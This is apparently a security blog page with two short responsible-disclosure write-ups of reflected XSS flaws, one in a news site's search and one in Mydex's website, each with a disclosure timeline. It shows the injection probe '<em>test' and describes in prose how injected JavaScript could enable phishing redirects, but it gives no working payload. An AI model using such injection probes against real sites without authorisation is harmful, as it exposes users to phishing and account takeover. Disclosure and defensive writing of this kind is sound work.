Although the above image show a very silly use of XSS, it could quite easily be used to craft a page to encourage journalists and readers to enter their passwords - and then send them off to criminals.

What's unusual is that it appears to be powered by Google Custom Search - which should really be robust against this source of attack.

I strongly encourage people to read and understand the OWASP Guide to XSS - and their other fine guides.

It will save a lot of heartache later on.

Timeline

• 20th February 2014 - Disclosed via their "technical problems with the website" form.
• 21st February 2014 - No response, so escalated to the Executive Editor.
• 26th February 2014 - Confirmed fixed.

Mydex provides the individual with a hyper-secure storage area to enable them to manage their personal data, including text, numbers, images, video, certificates and sound. No-one but the individual can access or see the data.

Not just secure, but hyper-secure! They've been signed up by the UK Government to provide Identity Assurance. Pretty impressive, eh?

Let's ignore the fact that their website doesn't use SSL and concentrate on the XSS flaw on the site.

Cross-Site-Scripting (XSS) is, in simple terms, a way to force a web page to run some malicious code against the wishes of its owner. Let's take a look at a simple example:

By searching for

<em>test

We can force the page to display in italics.

This is because the search box's input isn't sanitised. You can put whatever you want in there and the web page will display it. For example, if you paste in the HTML code to display a photo, then this happens:

Ok - so that's a bit annoying, but nothing too bad. So, what happens if we try to inject JavaScript into the page? Aha! Now we can run arbitrary code on this website. In fact, we can completely take it over. Using JavaScript we can tell the page to redirect to some other website, we can switch on the user's microphone and camera - all sorts of naughty tricks.

To Mydex's credit, a few minutes after reporting the flaw it was fixed.

There's absolutely no suggestion that any user's personal data was at risk here. I would consider it extremely unlikely that anything entered into that search field could have caused an SQL injection attack.

Mydex also operates a strict separation of their "publicity" site and their Personal Data Service - which really does seem very secure.

It would, however, have been very easy for a scammer to set up a JavaScript redirection to a phishing site in order to trick a user into entering her personal details. Similarly, an attacker could have sent Mydex staff a link saying "Please reset your admin password - click here" and been granted the keys to the kingdom.

The Open Web Application Security Project list their top ten most critical web security risks facing organizations. XSS is number 3.

If you're running a website - especially one which deals in security - please take the time to read over the list and understand how to protect your business and your users.

Timeline

• January 23rd - Reported and fixed.
• February 5th - Publication agreed.